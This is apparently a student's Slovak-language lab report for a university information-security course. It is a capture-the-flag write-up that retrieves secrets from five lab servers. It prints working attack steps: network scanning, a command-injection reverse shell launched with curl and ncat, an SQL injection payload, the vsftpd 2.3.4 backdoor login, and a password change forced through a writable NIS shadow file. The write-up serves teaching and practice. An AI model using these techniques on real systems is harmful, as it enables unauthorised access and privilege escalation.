Vysoké učení technické v Brně
Fakulta informačních technologií

Bezpečnost informačních systémů
Projekt – The FITfather

Peter Horňák (xhorna14)
xhorna14@stud.fit.vutbr.cz
9. decembra 2020

1 Zmapovanie siete

Po prihlásení pomocou ssh na server **bis.fit.vutbr.cz** som pomocou **ip addr** zistil ip adresu servera v podstieti a zároveň masku danej podsiete. Následne som pomocou príkazu **nmap -sn 192.168.122.0/24** objavil zariadenia na danej podsieti.

```
[student@xhorna14 ~]$ nmap -sn 192.168.122.0/24
Starting Nmap 7.80 ( https://nmap.org ) at 2020-12-09 17:21 CET
Nmap scan report for 192.168.122.1
Nmap scan report for s2 (192.168.122.5)
Nmap scan report for s5 (192.168.122.36)
Nmap scan report for xhorna14 (192.168.122.38)
Nmap scan report for s3 (192.168.122.55)
Nmap scan report for s4 (192.168.122.211)
Nmap scan report for s1 (192.168.122.234)
Nmap done: 256 IP addresses (7 hosts up) scanned in 1.81 seconds
```

Následne v súbore **/home/student/.ssh/config** bolo možné nájsť configuračný súbor pre ssh, ktorý obsahoval nastavenie pre servery **s1** a **s2**, čo mi umožnilo sa na tieto servery jednoducho pripojiť.

2 Servery

Môj klasický postup pre každý server bolo najprv pomocou príkazu **nmap -sV 'IP'** zistiť aké porty sú na danom servery otvorené. Následne som zo súboru **/etc/passwd** zistil existujúcich užívateľov. V prípade, že som nevedel kde hladať tajomstvá, tak som typicky spustil shell script nazývaný **linpeas**[1], ktorý je schopný upozorniť na možné zraniteľnosti a podozrivé miesta v systéme.

2.1 s1 (192.168.122.234)

Dostupné služby:

```
[student@xhorna14 .ssh]$ nmap -sV 192.168.122.234
PORT    STATE SERVICE
22/tcp  open  ssh     OpenSSH 8.2 (protocol 2.0)
80/tcp  open  http    Apache httpd 2.4.46 ((Fedora))
111/tcp open  rpcbind 2-4 (RPC #100000)
```

[1] https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS

2.1.1 Tajomstvo A

V ceste **/home/server1/.secret** sa nachádza program **generate_secret_from_decrypted_cipher** a textový súbor **cipher**. Z týchto názvov vyplýva, že text je potrebné najprv dešifrovať a následne získať tajomstvo použitím programu. Pomocou nástroja https://www.boxentriq.com/code-breaking/cipher-identifier som zistil, že s najväčšou pravdepodobnosťou je text zašifrovaný pomocou stĺpcovej transpozičnej šifry. Po dlhšom hladaní kľúča, som sa rozhodol vyskúšať variantu šifry bez kľúča, respektíve prípad, že kľúč pozostáva iba z jedného sa opakujúceho znaku. Následne som pomocou jednoduchého skriptu v Pythone, skúšal náhodné veľkosti kľúča a ručne skontroloval výsledky.

```
a = "LBSERIMIAYUOELOAAGMSXUYLMDREAIERCEAEKRLAMGHSNNNIA" # cipher
for i in range(1, len(a)+1):
        res = ""
    for j in range(i):
        res += a[j::i]
    print(i, res)
```

Pri dĺžke kľúča 10 som dostal výsledok "LUXEMBOURGSEYCHELLESROMANIADENMARKNIGERIAMALAYSIA". Tento text sa dá rozdeliť na krajiny "LUXEMBOURG", "SEYCHELLES", "ROMANIA", "DENMARK", "NIGERIA", "MALAYSIA", čo je čitatelný text a preto som považoval toto riešenie za správne. Po spustení programu s dešifrovaným vstupom som dostal prvé tajomstvo A.

2.1.2 Tajomstvo B

Na tomto servery beží služba http na porte 80, na ktorej beží utility **host**. Skúšaním som zistil, že je možné vykonať príkaz ako užívateľ **Apache**. Týmto spôsobom je možné spustiť revershe shell, keďže užívatel **Apache** má prístup k programu **netcat**. Pre získanie tajomstva som potreboval 2 relácie. Na relácií 1 som spustil príkaz:

```
nc -lv 4444
```

Na druhej relácií som pomocou nástroja **curl** poslal HTTP POST požiadavku, ktorá mi umožnila používať **bash** ako užívateľ **Apache**.

```
curl -X POST -d 'url=;ncat localhost 4444 -e /bin/bash' localhost
```

Následne som v adresári užívateľa **Apache** našiel textový súbor **secret.txt**, ktorý obsahoval tajomstvo B.

2.2 s2 (192.168.122.5)

Dostupné služby:

```
[student@xhorna14 .ssh]$ nmap -sV 192.168.122.5
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2 (protocol 2.0))
```

2.2.1 Tajomstvo C

Pomocou súboru **/etc/passwd** som zistil, že na servery existuje užívateľ *joe*. Pomocou príkazu **su joe**, je možné získať prístup k tomuto užívateľovi. Následne som som našiel mailovú komunikáciu, v ktorej som pomocou nástroja **grep** našiel tajomstvo C.

```
cat /var/mail/joe | grej Tajemstvi
```

2.2.2 Tajomstvo D

V domovskom adresári užívateľa *server2* sa nachádza súbor vo formáte **ELF**, v ktorom so pomocou nástroja **strings** našiel tajomstvo D.

```
strings secret_app | grep Tajemstvi
```

2.3 s3 (192.168.122.55)

Dostupné služby:

```
[student@xhorna14 .ssh]$ nmap -sV 192.168.122.55
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2 (protocol 2.0)
```

Pre získanie oboch tajomstiev bolo potrebné získať secure shell pre užívateľa *joe* na servery s3. Bolo potrebné zistiť heslo ku ktorému som prišiel dosť náhodne. Po získaní tajomstva H na servery S4 sa v databáze objavil záznam kde bol spomenutý *joe*. Začal som teda skúšať všetky záznamy z tejto databázy ako heslo pre prístup na s3 a podarilo sa mi to pri riadku *'password1'*. Chcel som sa vyhnúť slovníkovému útoku ale v prípade, že by sa mi ďalej nedarilo získať žiadnu nápovedu, tak by tento prístup zistil heslo veľmi rýchlo.

2.3.1 Tajomstvo E

V textovom súbore **`secret.txt`**, ktorý sa nachádza v domovskom adresári užívateľa *joe*, sa nachádza tajomstvo E.

2.3.2 Tajomstvo F

Pomocou vyššie spomínaného nástroja **`linpeas`**, som zistil že sa v roote servera nachádza priečinok */database_backup*.

```
Linpeas:
[+] Unexpected folders in root
/database_backup
```

Následne som našiel textový súbor s názvom *2020_dump*, v ktorom sa okrem textu spomínajúcom **`GDBM`**, nachádzal aj dlhý zoznam charakterov, ktorý končil na znaky '==’. Typicky takýto text je zakódovaný v dátovom formáte Base64. Po dekódovaní som našiel tajomstvo F.

```
cat /database_backup/2020\_dump
echo "long b64 string" | base64 -d
```

2.4 s4 (192.168.122.211)

Dostupné služby:

```
[server@s4 ~]$ nmap -sV localhost
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2 (protocol 2.0)
80/tcp   open  http    Apache httpd 2.4.46 ((Fedora))
3306/tcp open  mysql   MySQL 5.5.5-10.4.14-MariaDB
```

Na získanie prístupu k serveru s4 je možné použiť nástroj **`ssh`** zo serveru s2.

2.4.1 Tajomstvo G

V domovskom adresári užívateľa *server* sa nachádza git repozitár knižnice LibGD. Po použití príkazu **`git diff`**, je možné v odstránených riadkoch nájsť tajomstvo G.

2.4.2 Tajomstvo H

Na tomto servery bežia 2 zaujímavé služby, a to MySQL a Apache server. Pomocou nástroja **`nmap`** som zistil, že v MySQL databázy existuje užívateľ *web*.

```
nmap -sV -p 3306 --script mysql-enum localhost
```

Toto ma priviedlo k tomu, že pravdepodobne bude existovať spôsob ako napadnúť databázu pomocou SQL injection. Vďaka čomu som získal tajomstvo H a tak isto heslo k **`joe@s3`**.

```
curl -d 'user=web' -d 'password=" or ""="' localhost
```

2.5 s5 (192.168.122.36)

Dostupné služby:

```
[student@xhorna14 .ssh]$ nmap -sV 192.168.122.36
PORT    STATE SERVICE VERSION
21/tcp  open  ftp     vsftpd 2.3.4
22/tcp  open  ssh     OpenSSH 8.2 (protocol 2.0)
111/tcp open  rpcbind 2-4 (RPC #100000)
Service Info: OS: Unix
```

2.5.1 Tajomstvo I

Pre toto tajomstvo je potrebné zistiť, že na porte 21 beží služba FTP, avšak verzie **`vsftpd 2.3.4`**. Najprv som pomocou mena a hesla **`'anonymous:anonymous'`**, našiel súbor **`nosecret.txt`**, kde sa však tajomstvo nenachádzalo. Avšak po preskúmaní danej verzie som zistil, že je možné pomocou backdooru v tejto verzii získať tajomstvo I. Pre prihlásenie je potrebné použiť meno a heslo **`'user:):pass'`**, pričom sa následne otvorí port, odkiaľ som získal tajomstvo pomocou nástroja **`telnet`**.

```
[student@xhorna14 ~]$ ftp s5
Connected to s5 (192.168.122.36).
220 (vsFTPd 2.3.4)
Name (s5:student): user:)
331 Please specify the password.
Password: pass
"220 Opened port 52203, take a look ;)"

telnet s5 52203
```

2.5.2 Tajomstvo J

Toto tajomstvo sa z väčšej časti odohráva na servery s1, kde na obidvoch serveroch beží rovnaká služba s názvom **`ypbind`**, čo značí, že na serveroch beží NIS server, ktorý slúži na distribúciu konfigurácie.

```
rpcinfo -p s5
program vers proto   port  service
100000    4   tcp    111  portmapper
100000    3   tcp    111  portmapper
100000    2   tcp    111  portmapper
100000    4   udp    111  portmapper
100000    3   udp    111  portmapper
100000    2   udp    111  portmapper
100007    3   udp    716  ypbind
100007    2   udp    716  ypbind
100007    1   udp    716  ypbind
100007    3   tcp    716  ypbind
100007    2   tcp    716  ypbind
100007    1   tcp    716  ypbind
```

V zložke **`/var/yp`**, je možné nájsť Makefile, ktorý pri updatovaní mapovania berie dáta z súboru **`shadow`**, nachádzajúceho sa v domovskom adresári užívateľa *server1*, do ktorého je možné zapisovať. Pomocou nástroja **`mkpasswd`**, som si vytvoril heslo a zmenil heslo pre užívateľa **`bis_user`** v súbore **`shadow`**.

```
mkpasswd --method=sha-512 testicek --salt 12345679
```

Následne som pomocou **`ypinit`** toto nové heslo propagoval na server s5. Následne bolo možné sa pomocou **`ssh`** prihlásiť na užívateľa **`bis_user`** na servery s5. Tajomstvo J som našiel v súbore **`secret.txt`** v priečinku **`.secret`**, ktorý sa nachádzal v domovskom adresári.

```
run /usr/lib64/yp/ypinit -m
ssh bis_user@s5
cat .secret/secret.txt
```